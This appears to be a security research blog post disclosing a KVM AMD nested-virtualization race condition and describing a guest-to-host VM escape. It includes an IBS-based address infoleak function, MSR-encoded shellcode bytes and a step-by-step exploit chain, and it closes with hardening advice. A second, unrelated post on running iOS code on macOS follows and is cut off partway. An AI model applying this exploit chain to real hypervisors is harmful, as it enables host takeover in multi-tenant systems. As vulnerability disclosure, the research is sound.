Nested virtualization, the ability for a VM (called L1) to spawn nested guests (L2), was also a niche feature for a long time. However, due to hardware improvements that reduce its overhead and increasing customer demand it’s becoming more widely available. For example, Microsoft is heavily pushing for Virtualization-based Security as part of newer Windows versions, requiring nested virtualization to support cloud-hosted Windows installations. KVM enables support for nested virtualization on both AMD and Intel by default, so if an administrator or the user space VMM does not explicitly disable it, it’s part of the attack surface for a malicious or compromised VM.

AMD’s virtualization extension is called SVM (for Secure Virtual Machine) and in order to support nested virtualization, the host hypervisor needs to intercept all SVM instructions that are executed by its guests, emulate their behavior and keep its state in sync with the underlying hardware. As you might imagine, implementing this correctly is quite difficult with a large potential for complex logic flaws, making it a perfect target for manual code review.

The Bug

Before diving into the KVM codebase and the bug I discovered, I want to quickly introduce how AMD SVM works to make the rest of the post easier to understand. (For a thorough documentation see AMD64 Architecture Programmer’s Manual, Volume 2: System Programming Chapter 15.) SVM adds support for 6 new instructions to x86-64 if SVM support is enabled by setting the SVME bit in the EFER MSR. The most interesting of these instructions is VMRUN, which (as its name suggests) is responsible for running a guest VM. VMRUN takes an implicit parameter via the RAX register pointing to the page-aligned physical address of a data structure called “virtual machine control block” (VMCB), which describes the state and configuration of the VM.

The VMCB is split into two parts: First, the State Save area, which stores the values of all guest registers, including segment and control registers. Second, the Control area which describes the configuration of the VM. The Control area describes the virtualization features enabled for a VM,  sets which VM actions are intercepted to trigger a VM exit and stores some fundamental configuration values such as the page table address used for nested paging.

If the VMCB is correctly prepared (and we are not already running in a VM), VMRUN will first save the host state in a memory region called the host save area, whose address is configured by writing a physical address to the VM_HSAVE_PA MSR. Once the host state is saved, the CPU switches to the VM context and VMRUN only returns once a VM exit is triggered for one reason or another.

An interesting aspect of SVM is that a lot of the state recovery after a VM exit has to be done by the hypervisor. Once a VM exit occurs, only RIP, RSP and RAX are restored to the previous host values and all other general purpose registers still contain the guest values. In addition, a full context switch requires manual execution of the VMSAVE/VMLOAD instructions which save/load additional system registers (FS, SS, LDTR, STAR, LSTAR …) from memory.

For nested virtualization to work, KVM intercepts execution of the VMRUN instruction and creates its own VMCB based on the VMCB the L1 guest prepared (called vmcb12 in KVM terminology). Of course, KVM can’t trust the guest provided vmcb12 and needs to carefully validate all fields that end up in the real VMCB that gets passed to the hardware (known as vmcb02).

Most of the KVM’s code for nested virtualization on AMD is implemented in arch/x86/kvm/svm/nested.c and the code that intercepts VMRUN instructions of nested guests is implemented in nested_svm_vmrun:

int nested_svm_vmrun(struct vcpu_svm *svm)


        int ret;

        struct vmcb *vmcb12;

        struct vmcb *hsave = svm->nested.hsave;

        struct vmcb *vmcb = svm->vmcb;

        struct kvm_host_map map;

        u64 vmcb12_gpa;


        vmcb12_gpa = svm->vmcb->save.rax; ** 1 ** 

        ret = kvm_vcpu_map(&svm->vcpu, gpa_to_gfn(vmcb12_gpa), &map); ** 2 **


        ret = kvm_skip_emulated_instruction(&svm->vcpu);

        vmcb12 = map.hva;

        if (!nested_vmcb_checks(svm, vmcb12)) { ** 3 **

                vmcb12->control.exit_code    = SVM_EXIT_ERR;

                vmcb12->control.exit_code_hi = 0;

                vmcb12->control.exit_info_1  = 0;

                vmcb12->control.exit_info_2  = 0;

                goto out;




         * Save the old vmcb, so we don't need to pick what we save, but can

         * restore everything when a VMEXIT occurs


        hsave->save.es     = vmcb->save.es;

        hsave->save.cs     = vmcb->save.cs;

        hsave->save.ss     = vmcb->save.ss;

        hsave->save.ds     = vmcb->save.ds;

        hsave->save.gdtr   = vmcb->save.gdtr;

        hsave->save.idtr   = vmcb->save.idtr;

        hsave->save.efer   = svm->vcpu.arch.efer;

        hsave->save.cr0    = kvm_read_cr0(&svm->vcpu);

        hsave->save.cr4    = svm->vcpu.arch.cr4;

        hsave->save.rflags = kvm_get_rflags(&svm->vcpu);

        hsave->save.rip    = kvm_rip_read(&svm->vcpu);

        hsave->save.rsp    = vmcb->save.rsp;

        hsave->save.rax    = vmcb->save.rax;

        if (npt_enabled)

                hsave->save.cr3    = vmcb->save.cr3;


                hsave->save.cr3    = kvm_read_cr3(&svm->vcpu);

        copy_vmcb_control_area(&hsave->control, &vmcb->control);

        svm->nested.nested_run_pending = 1;

        if (enter_svm_guest_mode(svm, vmcb12_gpa, vmcb12)) ** 4 **

                goto out_exit_err;

        if (nested_svm_vmrun_msrpm(svm))

                goto out;


        svm->nested.nested_run_pending = 0;

        svm->vmcb->control.exit_code    = SVM_EXIT_ERR;

        svm->vmcb->control.exit_code_hi = 0;

        svm->vmcb->control.exit_info_1  = 0;

        svm->vmcb->control.exit_info_2  = 0;



        kvm_vcpu_unmap(&svm->vcpu, &map, true);

        return ret;


The function first fetches the value of RAX out of the currently active vmcb (svm->vcmb) in 1 (numbers are marked in the code samples). For guests using nested paging (which is the only relevant configuration nowadays) RAX contains a guest physical address (GPA), which needs to be translated into a host physical address (HPA) first. kvm_vcpu_map (2) takes care of this translation and maps the underlying page to a host virtual address (HVA) that can be directly accessed by KVM.

Once the VMCB is mapped, nested_vmcb_checks is called for some basic validation in 3. Afterwards, the L1 guest context which is stored in svm->vmcb is copied into the host save area svm->nested.hsave before KVM enters the nested guest context by calling enter_svm_guest_mode (4).

int enter_svm_guest_mode(struct vcpu_svm *svm, u64 vmcb12_gpa,

                         struct vmcb *vmcb12)


        int ret;

        svm->nested.vmcb12_gpa = vmcb12_gpa;

        load_nested_vmcb_control(svm, &vmcb12->control);

        nested_prepare_vmcb_save(svm, vmcb12);


        ret = nested_svm_load_cr3(&svm->vcpu, vmcb12->save.cr3,


        if (ret)

                return ret;

        svm_set_gif(svm, true);

        return 0;


static void load_nested_vmcb_control(struct vcpu_svm *svm,

                                     struct vmcb_control_area *control)


        copy_vmcb_control_area(&svm->nested.ctl, control);



Looking at enter_svm_guest_mode we can see that KVM copies the vmcb12 control area directly into svm->nested.ctl and does not perform any further checks on the copied value.

Readers familiar with double fetch or Time-of-Check-to-Time-of-Use vulnerabilities might already see a potential issue here: The call to nested_vmcb_checks at the beginning of nested_svm_vmrun performs all of its checks on a copy of the VMCB that is stored in guest memory. This means that a guest with multiple CPU cores can modify fields in the VMCB after they are verified in nested_vmcb_checks, but before they are copied to svm->nested.ctl in load_nested_vmcb_control.

Let’s look at nested_vmcb_checks to see what kind of checks we can bypass with this approach:

static bool nested_vmcb_check_controls(struct vmcb_control_area *control)


        if ((vmcb_is_intercept(control, INTERCEPT_VMRUN)) == 0)

                return false;

        if (control->asid == 0)

                return false;

        if ((control->nested_ctl & SVM_NESTED_CTL_NP_ENABLE) &&


                return false;

        return true;


At first glance this looks pretty harmless. control->asid isn’t used anywhere and the last check is only relevant for systems where nested paging isn’t supported. However, the first check turns out to be very interesting.

For reasons unknown to me, SVM VMCBs contain a bit that enables or disables interception of the VMRUN instruction when executed inside a guest. Clearing this bit isn’t actually supported by hardware and results in an immediate VMEXIT, so the check in nested_vmcb_check_controls simply replicates this behavior.  When we race and bypass the check by repeatedly flipping the value of the INTERCEPT_VMRUN bit, we can end up in a situation where svm->nested.ctl contains a 0 in place of the INTERCEPT_VMRUN bit. To understand the impact we first need to see how nested vmexit’s are handled in KVM:

The main SVM exit handler is the function handle_exit in arch/x86/kvm/svm.c, which is called whenever a VMexit occurs. When KVM is running a nested guest, it first has to check if the exit should be handled by itself or the L1 hypervisor. To do this it calls the function nested_svm_exit_handled (5) which will return NESTED_EXIT_DONE if the vmexit will be handled by the L1 hypervisor and no further processing by the L0 hypervisor is needed:

 static int handle_exit(struct kvm_vcpu *vcpu, fastpath_t exit_fastpath)


        struct vcpu_svm *svm = to_svm(vcpu);

        struct kvm_run *kvm_run = vcpu->run;

        u32 exit_code = svm->vmcb->control.exit_code;


        if (is_guest_mode(vcpu)) {

                int vmexit;

                trace_kvm_nested_vmexit(exit_code, vcpu, KVM_ISA_SVM);

                vmexit = nested_svm_exit_special(svm);

                if (vmexit == NESTED_EXIT_CONTINUE)

                        vmexit = nested_svm_exit_handled(svm); ** 5 **

                if (vmexit == NESTED_EXIT_DONE)

                        return 1;



static int nested_svm_intercept(struct vcpu_svm *svm)


        // exit_code==INTERCEPT_VMRUN when the L2 guest executes vmrun

        u32 exit_code = svm->vmcb->control.exit_code;

        int vmexit = NESTED_EXIT_HOST;

        switch (exit_code) {

        case SVM_EXIT_MSR:

                vmexit = nested_svm_exit_handled_msr(svm);


        case SVM_EXIT_IOIO:

                vmexit = nested_svm_intercept_ioio(svm);



        default: {

                if (vmcb_is_intercept(&svm->nested.ctl, exit_code)) ** 7 **

                        vmexit = NESTED_EXIT_DONE;



        return vmexit;


int nested_svm_exit_handled(struct vcpu_svm *svm)


        int vmexit;

        vmexit = nested_svm_intercept(svm); ** 6 ** 

        if (vmexit == NESTED_EXIT_DONE)

                nested_svm_vmexit(svm); ** 8 **

        return vmexit;


nested_svm_exit_handled first calls nested_svm_intercept (6) to see if the exit should be handled. When we trigger an exit by executing VMRUN in a L2 guest, the default case is executed (7) to see if the INTERCEPT_VMRUN bit in svm->nested.ctl is set. Normally, this should always be the case and the function returns NESTED_EXIT_DONE to trigger a nested VM exit from L2 to L1 and to let the L1 hypervisor handle the exit (8). (This way KVM supports infinite nesting of hypervisors).

However, if the L1 guest exploited the race condition described above svm->nested.ctl won’t have the INTERCEPT_VMRUN bit set and the VM exit will be handled by KVM itself. This results in a second call to nested_svm_vmrun while still running inside the L2 guest context. nested_svm_vmrun isn’t written to handle this situation and will blindly overwrite the L1 context stored in svm->nested.hsave with data from the currently active svm->vmcb which contains data for the L2 guest:


         * Save the old vmcb, so we don't need to pick what we save, but can

         * restore everything when a VMEXIT occurs


        hsave->save.es     = vmcb->save.es;

        hsave->save.cs     = vmcb->save.cs;

        hsave->save.ss     = vmcb->save.ss;

        hsave->save.ds     = vmcb->save.ds;

        hsave->save.gdtr   = vmcb->save.gdtr;

        hsave->save.idtr   = vmcb->save.idtr;

        hsave->save.efer   = svm->vcpu.arch.efer;

        hsave->save.cr0    = kvm_read_cr0(&svm->vcpu);

        hsave->save.cr4    = svm->vcpu.arch.cr4;

        hsave->save.rflags = kvm_get_rflags(&svm->vcpu);

        hsave->save.rip    = kvm_rip_read(&svm->vcpu);

        hsave->save.rsp    = vmcb->save.rsp;

        hsave->save.rax    = vmcb->save.rax;

        if (npt_enabled)

                hsave->save.cr3    = vmcb->save.cr3;


                hsave->save.cr3    = kvm_read_cr3(&svm->vcpu);

        copy_vmcb_control_area(&hsave->control, &vmcb->control);

This becomes a security issue due to the way Model Specific Register (MSR) intercepts are handled for nested guests:

SVM uses a permission bitmap to control which MSRs can be accessed by a VM. The bitmap is a 8KB data structure with two bits per MSR, one of which controls read access and the other write access. A 1 bit in this position means the access is intercepted and triggers a vm exit, a 0 bit means the VM has direct access to the MSR. The HPA address of the bitmap is stored in the VMCB control area and for normal L1 KVM guests, the pages are allocated and pinned into memory as soon as a vCPU is created.

For a nested guest, the MSR permission bitmap is stored in svm->nested.msrpm and its physical address is copied into the active VMCB (in svm->vmcb->control.msrpm_base_pa) while the nested guest is running. Using the described double invocation of nested_svm_vmrun, a malicious guest can copy this value into the svm->nested.hsave VMCB when copy_vmcb_control_area is executed. This is interesting because the KVM’s hsave area normally only contains data from the L1 guest context so svm->nested.hsave.msrpm_base_pa would normally point to the pinned vCPU-specific MSR bitmap pages.

This edge case becomes exploitable thanks to a relatively recent change in KVM:

Since commit “2fcf4876: KVM: nSVM: implement on demand allocation of the nested state” from last October, svm->nested.msrpm is dynamically allocated and freed when a guest changes the SVME bit of the MSR_EFER register:

int svm_set_efer(struct kvm_vcpu *vcpu, u64 efer)


        struct vcpu_svm *svm = to_svm(vcpu);

        u64 old_efer = vcpu->arch.efer;

        vcpu->arch.efer = efer;

        if ((old_efer & EFER_SVME) != (efer & EFER_SVME)) {

                if (!(efer & EFER_SVME)) {


                        svm_set_gif(svm, true);

                        ...                     /*

                         * Free the nested guest state, unless we are in SMM.

                         * In this case we will return to the nested guest

                         * as soon as we leave SMM.


                        if (!is_smm(&svm->vcpu))


                } ...



For the “disable SVME” case, KVM will first call svm_leave_nested to forcibly leave potential

nested guests and then free the svm->nested data structures (including the backing pages for the MSR permission bitmap) in svm_free_nested. As svm_leave_nested believes that svm->nested.hsave contains the saved context of the L1 guest, it simply copies its control area to the real VMCB:

void svm_leave_nested(struct vcpu_svm *svm)


        if (is_guest_mode(&svm->vcpu)) {

                struct vmcb *hsave = svm->nested.hsave;

                struct vmcb *vmcb = svm->vmcb;


                copy_vmcb_control_area(&vmcb->control, &hsave->control);




But as mentioned before, svm->nested.hsave->control.msrpm_base_pa can still point to

svm->nested->msrpm. Once svm_free_nested is finished and KVM passes control back to the guest, the CPU will use the freed pages for its MSR permission checks. This gives a guest unrestricted access to host MSRs if the pages are reused and partially overwritten with zeros.

To summarize, a malicious guest can gain access to host MSRs using the following approach:

  1. Enable the SVME bit in MSR_EFER to enable nested virtualization
  2. Repeatedly try to launch a L2 guest using the VMRUN instruction while flipping the INTERCEPT_VMRUN bit on a second CPU core.
  3. If VMRUN succeeds, try to launch a “L3” guest using another invocation of VMRUN. If this fails, we have lost the race in step 2 and must try again. If VMRUN succeeds we have successfully overwritten svm->nested.hsave with our L2 context.  
  4. Clear the SVME bit in MSR_EFER while still running in the “L3” context. This frees the MSR permission bitmap backing pages used by the L2 guest who is now executing again.
  5. Wait until the KVM host reuses the backing pages. This will potentially clear all or some of the bits, giving the guest access to host MSRs.

When I initially discovered and reported this vulnerability, I was feeling pretty confident that this type of MSR access should be more or less equivalent to full code execution on the host. While my feeling turned out to be correct, getting there still took me multiple weeks of exploit development. In the next section I’ll describe the steps to turn this primitive into a guest-to-host escape.

The Exploit

Assuming our guest can get full unrestricted access to any MSR (which is only a question of timing thanks to init_on_alloc=1 being the default for most modern distributions), how can we escalate this into running arbitrary code in the context of the KVM host? To answer this question we first need to look at what kind of MSRs are supported on a modern AMD system. Looking at the BIOS and Kernel Developer’s Guide for recent AMD processors we can find a wide range of MSRs starting with well known and widely used ones such as EFER (the Extended Feature Enable Register) or LSTAR (the syscall target address) to rarely used ones like SMI_ON_IO_TRAP (can be used to generate a System Management Mode Interrupt when specific IO port ranges are accessed).

Looking at the list, several registers like LSTAR or KERNEL_GSBASE seem like interesting targets for redirecting the execution of the host kernel. Unrestricted access to these registers is actually enabled by default, however they are automatically restored to a valid state by KVM after a vmexit so modifying them does not lead to any changes in host behavior.

Still, there is one MSR that we previously mentioned and that seems to give us a straightforward way to achieve code execution: The VM_HSAVE_PA that stores the physical address of the host save area, which is used to restore the host context when a vmexit occurs. If we can point this MSR at a memory location under our control we should be able to fake a malicious host context and execute our own code after a vmexit.

While this sounds pretty straightforward in theory, implementing it still has some challenges:

  • AMD is pretty clear about the fact that software should not touch the host save area in any way and that the data stored in this area is CPU-dependent: “Processor implementations may store only part or none of host state in the memory area pointed to by VM_HSAVE_PA MSR and may store some or all host state in hidden on-chip memory. Different implementations may choose to save the hidden parts of the host’s segment registers as well as the selectors. For these reasons, software must not rely on the format or contents of the host state save area, nor attempt to change host state by modifying the contents of the host save area.” (AMD64 Architecture Programmer’s Manual, Volume 2: System Programming, Page 477). To strengthen the point, the format of the host save area is undocumented.
  • Debugging issues involving an invalid host state is very tedious as any issue leads to an immediate processor shutdown. Even worse, I wasn’t sure if rewriting the VM_HSAVE_PA MSR while running inside a VM can even work. It’s not really something that should happen during normal operation so in the worst case scenario, overwriting the MSR would just lead to an immediate crash.
  • Even if we can create a valid (but malicious) host save area in our guest, we still need some way to identify its host physical address (HPA). Because our guest runs with nested paging enabled, physical addresses that we can see in the guest (GPAs) are still one address translation away from their HPA equivalent.

After spending some time scrolling through AMD’s documentation, I still decided that VM_HSAVE_PA seems to be the best way forward and decided to tackle these problems one by one.

After dumping the host save area of a normal KVM guest running on an AMD EPYC 7351P CPU, the first problem goes away quickly: As it turns out, the host save area has the same layout as a normal VMCB with only a couple of relevant fields initialized. Even better, the initialized fields include all the saved host information documented in the AMD manual so the fear that all interesting host state is stored in on-chip memory seems to be unfounded.

Saving Host State. To ensure that the host can resume operation after #VMEXIT, VMRUN saves at least the following host state information:

  • CS.SEL, NEXT_RIP—The CS selector and rIP of the instruction following the VMRUN. On #VMEXIT the host resumes running at this address.
  • RFLAGS, RAX—Host processor mode and the register used by VMRUN to address the VMCB.
  • SS.SEL, RSP—Stack pointer for host
  • CRO, CR3, CR4, EFER—Paging/operating mode for host
  • IDTR, GDTR—The pseudo-descriptors. VMRUN does not save or restore the host LDTR.
  • ES.SEL and DS.SEL.

Under the mistaken assumption that I solved the problem of creating a fake but valid host save area, I decided to look into building an infoleak that gives me the ability to translate GPAs to HPAs. A couple hours of manual reading led me to an AMD-specific performance monitoring feature called Instruction Based Sampling (IBS). When IBS is enabled by writing the right magic invocation to a set of MSRs, it samples every Nth instruction that is executed and collects a wide range of information about the instruction. This information is logged in another set of MSRs and can be used to analyze the performance of any piece of code running on the CPU. While most of the documentation for IBS is pretty sparse or hard to follow, the very useful open source project AMD IBS Toolkit contains working code, a readable high level description of IBS and a lot of useful references.

IBS supports two different modes of operation, one that samples Instruction fetches and one that samples micro-ops (which you can think of as the internal RISC representation of more complex x64 instructions). Depending on the operation mode, different data is collected. Besides a lot of caching and latency information that we don’t care about, fetch sampling also returns the virtual address and physical address of the fetched instruction. Op sampling is even more useful as it returns the virtual address of the underlying instruction as well as virtual and physical addresses accessed by any load or store micro op.

Interestingly, IBS does not seem to care about the virtualization context of its user and every physical address returned by it is an HPA (of course this is not a problem outside of this exploit as guest accesses to the IBS MSR’s will normally be restricted). The wide range of data returned by IBS and the fact that it’s completely driven by MSR reads and writes make it the perfect tool for building infoleaks for our exploit.

Building a GPA -> HPA leak boils down to enabling IBS ops sampling, executing a lot of instructions that access a specific memory page in our VM and reading the IBS_DC_PHYS_AD MSR to find out its HPA:

// This function leaks the HPA of a guest page using

// AMD's Instruction Based Sampling. We try to sample

// one of our memory loads/writes to *p, which will

// store the physical memory address in MSR_IBC_DH_PHYS_AD

static u64 leak_guest_hpa(u8 *p) {

  volatile u8 *ptr = p;

  u64 ibs = scatter_bits(0x2, IBS_OP_CUR_CNT_23) |

            scatter_bits(0x10, IBS_OP_MAX_CNT) | IBS_OP_EN;

  while (true) {

    wrmsr(MSR_IBS_OP_CTL, ibs);

    u64 x = 0;

    for (int i = 0; i < 0x1000; i++) {

      x = ptr[i];

      ptr[i] += ptr[i - 1];

      ptr[i] = x;

      if (i % 50 == 0) {

        u64 valid = rdmsr(MSR_IBS_OP_CTL) & IBS_OP_VAL;

        if (valid) {

          u64 op3 = rdmsr(MSR_IBS_OP_DATA3);

          if ((op3 & IBS_ST_OP) || (op3 & IBS_LD_OP)) {

            if (op3 & IBS_DC_PHY_ADDR_VALID) {

              printf("[x] leak_guest_hpa: %lx %lx %lx\n", rdmsr(MSR_IBS_OP_RIP),

                     rdmsr(MSR_IBS_DC_PHYS_AD), rdmsr(MSR_IBS_DC_LIN_AD));

              return rdmsr(MSR_IBS_DC_PHYS_AD) & ~(0xFFF);



          wrmsr(MSR_IBS_OP_CTL, ibs);




    wrmsr(MSR_IBS_OP_CTL, ibs & ~IBS_OP_EN);



Using this infoleak primitive, I started to create a fake host save area by preparing my own page tables (for pointing CR3 at them), interrupt descriptor tables and segment descriptors and pointing RIP to a primitive shellcode that would write to the serial console. Of course, my first tries immediately crashed the whole system and even after spending multiple days to make sure everything was set up correctly, the system would crash immediately once I pointed the hsave MSR at my own location.

After getting frustrated with the total lack of progress, watching my server reboot for the hundredth time, trying to come up with a different exploitation strategy for two weeks and learning about the surprising regularity of physical page migrations on Linux, I realized that I made an important mistake. Just because the CPU initializes all the expected fields in the host save area, it is not safe to assume that these fields are actually used for restoring the host context. Slow trial and error led to the discovery that my AMD EPYC CPU ignores everything in the host save area besides the values of the RIP, RSP and RAX registers.

While this register control would make a local privilege escalation straightforward, escaping the VM boundary is a bit more complicated. RIP and RSP control make launching a kernel ROP chain the next logical step, but this requires us to first break the host kernel's address randomization and to find a way to store controlled data at a known host virtual address (HVA).

Fortunately, we have IBS as a powerful infoleak building primitive and can use it to gather all required information in a single run:

  • Leaking the host kernel's (or more specifically kvm-amd.ko’s) base address can be done by enabling IBS sampling with a small sampling interval and immediately triggering a VM exit. When VM execution continues, the IBS result MSRs will contain the HVA of instructions executed by KVM during the exit handling.
  • The most powerful way to store data at a known HVA is to leak the location of the kernel’s linear mapping (also known as physmap), a 1:1 mapping of all physical pages on the system. This gives us a GPA->HVA translation primitive by first using our GPA->HPA infoleak from above and then adding the HPA to the physmap base address. Leaking the physmap is possible by sampling micro ops in the host kernel until we find a read or write operation, where the lower ~30 bits of the accessed virtual address and physical address are identical.

Having all these building blocks in place, we could now try to build a kernel ROP chain that executes some interesting payload. However, there is one important caveat. When we take over execution after a vmexit, the system is still in a somewhat unstable state. As mentioned above, SVM’s context switching is very minimal and we are at least one VMLOAD instruction and reenabling of interrupts away from a usable system. While it is surely possible to exploit this bug and to restore the original host context using a sufficiently complex ROP chain, I decided to find a way to run my own code instead.

A couple of years ago, the Linux physmap was still mapped executable and executing our own code would be as simple as jumping to a physmap mapping of one of our guest pages. Of course, that is not possible anymore and the kernel tries hard to not have any memory pages mapped as writable and executable. Still, page protections only apply to virtual memory accesses so why not use an instruction that directly writes controlled data to a physical address? As you might remember from our initial discussion of SVM earlier in this chapter, SVM supports an instruction called VMSAVE to store hidden guest state (or host state) in a VMCB. Similar to VMRUN, VMSAVE takes a physical address to a VMCB stored in the RAX register as an implicit argument. It then writes the following register state to the VMCB:

  • FS, GS, TR, LDTR
  • KernelGsBase

For us, VMSAVE is interesting for a couple of reasons:

  • It is used as part of KVM’s normal SVM exit handler and can be easily integrated into a minimal ROP chain.
  • It operates on physical addresses, so we can use it to write to an arbitrary memory location including KVM’s own code.
  • All written registers still contain the guest values set by our VM, allowing us to control the written content with some restrictions

VMSAVE’s biggest downside as an exploitation primitive is that RAX needs to be page aligned, reducing our control of the target address. VMSAVE writes to the memory offsets 0x440-0x480 and 0x600-0x638 so we need to be careful about not corrupting any memory that’s in use.

In our case this turns out to be a non-issue, as KVM contains a couple of code pages where functions that are rarely or never used (e.g cleanup_module or SEV specific code) are stored at these offsets.

While we don’t have full control over the written data and valid register values are somewhat restricted, it is still possible to write a minimal stage0 shellcode to an arbitrary page in the host kernel by filling guest MSRs with the right values. My exploit uses the STAR, LSTAR and CSTAR registers for this which are written to the physical offsets 0x400, 0x408 and 0x410. As all three registers need to contain canonical addresses, we can only use parts of the registers for our shellcode and use relative jumps to skip the unusable parts of the STAR and LSTAR MSRs:

  // mov cr0, rbx; jmp

  wrmsr(MSR_STAR, 0x00000003ebc3220f);

  // pop rdi; pop rsi; pop rcx; jmp

  wrmsr(MSR_LSTAR, 0x00000003eb595e5fULL);

  // rep movsb; pop rdi; jmp rdi;

  wrmsr(MSR_CSTAR, 0xe7ff5fa4f3);

The above code makes use of the fact that we control the value of the RBX register and the stack when we return to it as part of our initial ROP chain. First, we copy the value of RBX (0x80040033) into CR0, which disables Write Protection (WP) for kernel memory accesses. This makes all of the kernel code writable on this CPU allowing us to copy a larger stage1 shellcode to an arbitrary unused memory location and jump to it.

Once the WP bit in cr0 is disabled and the stage1 payload executes, we have a wide range of options. For my proof-of-concept exploit I decided on a somewhat boring but easy-to-implement approach to spawn a random user space command: The host is still in a very weird state so our stage1 payload can’t directly call into other kernel functions, but we can easily backdoor a function pointer which will be called at some later point in time. KVM uses the kernel’s global workqueue feature to regularly synchronize a VM’s clock between different vCPUs. The function pointer responsible for this work is stored in the (per VM) kvm->arch data structure as kvm->arch.kvmclock_update_work. The stage1 payload overrides this function pointer with the address of a stage2 payload. To put the host into a usable state it then sets the VM_HSAVE_PA MSR back to its original value and restores RSP and RIP to call the original vmexit handler.

The final stage2 payload executes at some later point in time as part of the kernel global work queue and uses the call_usermodehelper to run an arbitrary command with root privileges.

Let’s put all of this together and walk through the attacks step-by-step:

  1. Prepare the stage0 payload by splitting it up and setting the right guest MSRs.
  2. Trigger the TOCTOU vulnerability in nested_svm_vmrun and free the MSR permission bitmap by disabling the SVME bit in the EFER MSR.
  3. Wait for the pages to be reused and initialized to 0 to get unrestricted MSR access.
  4. Prepare a fake host save area, a stack for the initial ROP chain and a staging memory area for the stage1 and stage2 payloads.
  5. Leak the HPA of the host save area, the HVA addresses of the stack and staging page and the kvm-amd.ko’s base address using the different IBS infoleaks.
  6. Redirect execution to the VMSAVE gadget by setting RIP, RSP and RAX in the fake host save area, pointing the VM_HSAVE_PA MSR at it and triggering a VM exit.
  7. VMSAVE writes the stage0 payload to an unused offset in kvm-amd’s code segment, when the gadget returns stage0 gets executed.
  8. stage0 disables Write Protection in CR0 and overwrites an unused executable memory location with the stage1 and stage2 payloads, before jumping to stage1.
  9. stage1 overwrites kvm->arch.kvmclock_update_work.work.func with a pointer to stage2 before restoring the original host context.
  10. At some later point in time kvm->arch.kvmclock_update_work.work.func is called as part of the global kernel work_queue and stage2 spawns an arbitrary command using call_usermodehelper.

Interested readers should take a look at the heavily documented proof-of-concept exploit for the actual implementation.


This blog post describes a KVM-only VM escape made possible by a small bug in KVM’s AMD-specific code for supporting nested virtualization. Luckily, the feature that made this bug exploitable was only included in two kernel versions (v5.10, v5.11) before the issue was spotted, reducing the real-life impact of the vulnerability to a minimum. The bug and its exploit still serve as a demonstration that highly exploitable security vulnerabilities can still exist in the very core of a virtualization engine, which is almost certainly a small and well audited codebase. While the attack surface of a hypervisor such as KVM is relatively small from a pure LoC perspective, its low level nature, close interaction with hardware and pure complexity makes it very hard to avoid security-critical bugs.

While we have not seen any in-the-wild exploits targeting hypervisors outside of competitions like Pwn2Own, these capabilities are clearly achievable for a well-financed adversary. I’ve spent around two months on this research, working as an individual with only remote access to an AMD system. Looking at the potential ROI on an exploit like this, it seems safe to assume that more people are working on similar issues right now and that vulnerabilities in KVM, Hyper-V, Xen or VMware will be exploited in-the-wild sooner or later. 

What can we do about this? Security engineers working on Virtualization Security should push for as much attack surface reduction as possible. Moving complex functionality to memory-safe user space components is a big win even if it does not help against bugs like the one described above. Disabling unneeded or unreviewed features and performing regular in-depth code reviews for new changes can further reduce the risk of bugs slipping by.

Hosters, cloud providers and other enterprises that are relying on virtualization for multi-tenancy isolation should design their architecture in way that limits the impact of an attacker with an VM escape exploit:

  • Isolation of VM hosts: Machines that host untrusted VMs should be considered at least partially untrusted. While a VM escape can give an attacker full control over a single host, it should not be easily possible to move from one compromised host to another. This requires that the control plane and backend infrastructure is sufficiently hardened and that user resources like disk images or encryption keys are only exposed to hosts that need them. One way to limit the impact of a VM escape even further is to only run VMs of a specific customer or of a certain sensitivity on a single machine.
  • Investing in detection capabilities: In most architectures, the behavior of a VM host should be very predictable, making a compromised host stick out quickly once an attacker tries to move to other systems. While it’s very hard to rule out the possibility of a vulnerability in your virtualization stack, good detection capabilities make life for an attacker much harder and increase the risk of quickly burning a high-value vulnerability. Agents running on the VM host can be a first (but bypassable) detection mechanism, but the focus should be on detecting unusual network communication and resource accesses.

Fuzzing iOS code on macOS at native speed

20 May 2021 at 17:07
By: Ryan

Or how iOS apps on macOS work under the hood

Posted by Samuel Groß, Project Zero

This short post explains how code compiled for iOS can be run natively on Apple Silicon Macs.

With the introduction of Apple Silicon Macs, Apple also made it possible to run iOS apps natively on these Macs. This is fundamentally possible due to (1) iPhones and Apple Silicon Macs both using the arm64 instruction set architecture (ISA) and (2) macOS using a mostly compatible set of runtime libraries and frameworks while also providing /System/iOSSupport which contains the parts of the iOS runtime that do not exist on macOS. Due to this, it should be possible to run not just complete apps but also standalone iOS binaries or libraries on Mac. This might be interesting for a number of reasons, including:

  • It allows fuzzing closed-source code compiled for iOS on a Mac
  • It allows dynamic analysis of iOS code in a more “friendly” environment

This post explains how this can be achieved in practice. The corresponding code can be found here and allows executing arbitrary iOS binaries and library code natively on macOS. The tool assumes that SIP has been disabled and has been tested on macOS 11.2 and 11.3. With SIP enabled, certain steps will probably fail.

We originally developed this tool for fuzzing a 3rd-party iOS messaging app. While that particular project didn’t yield any interesting results, we are making the tool public as it could help lower the barrier of entry for iOS security research.

The Goal

The ultimate goal of this project is to execute code compiled for iOS natively on macOS. While it would be possible to achieve this goal (at least for some binaries/libraries) simply by swapping the platform identifier in the mach-o binary, our approach will instead use the existing infrastructure for running iOS apps on macOS. This has two benefits:

  1. It will guarantee that all dependent system libraries of the iOS code will exist. In practice, this means that if a dependent library does not already exist on macOS, it will automatically be loaded from /System/iOSSupport instead
  2. The runtime (OS services, frameworks, etc.) will, if necessary, emulate their iOS behavior since they will know that the process is an iOS one

To start, we’ll take a simple piece of C source code and compile it for iOS:

> cat hello.c

#include <stdio.h>

int main() {

    puts("Hello from an iOS binary!");

    return 0;


> clang -arch arm64 hello.c -o hello -isysroot \


> file hello

hello: Mach-O 64-bit executable arm64

> otool -l hello

Load command 10


  cmdsize 32

 platform 2           # Platform 2 is iOS

    minos 14.4

      sdk 14.4

   ntools 1

     tool 3

  version 609.8

The Kernel

Attempting to execute the freshly compiled binary (on macOS 11.2) will simply result in

> ./hello

[1]    13699 killed     ./hello

While the exit status informs us that the process was terminated through SIGKILL, it does not contain any additional information about the specific reason for that. However, it does seem likely that the process is terminated by the kernel during the execve(2) or posix_spawn(2) syscall. And indeed, the crash report generated by the system states:

Termination Reason:    EXEC, [0xe] Binary with wrong platform

This error corresponds to EXEC_EXIT_REASON_WRONG_PLATFORM in the kernel, and that constant is only referenced in a single function: check_for_signature:

static int

check_for_signature(proc_t p, struct image_params *imgp)




        /* Check for platform passed in spawn attr if iOS binary is being spawned */

        if (proc_platform(p) == PLATFORM_IOS) {

                struct _posix_spawnattr *psa = imgp->ip_px_sa;

                if (psa == NULL || psa->psa_platform == 0) {


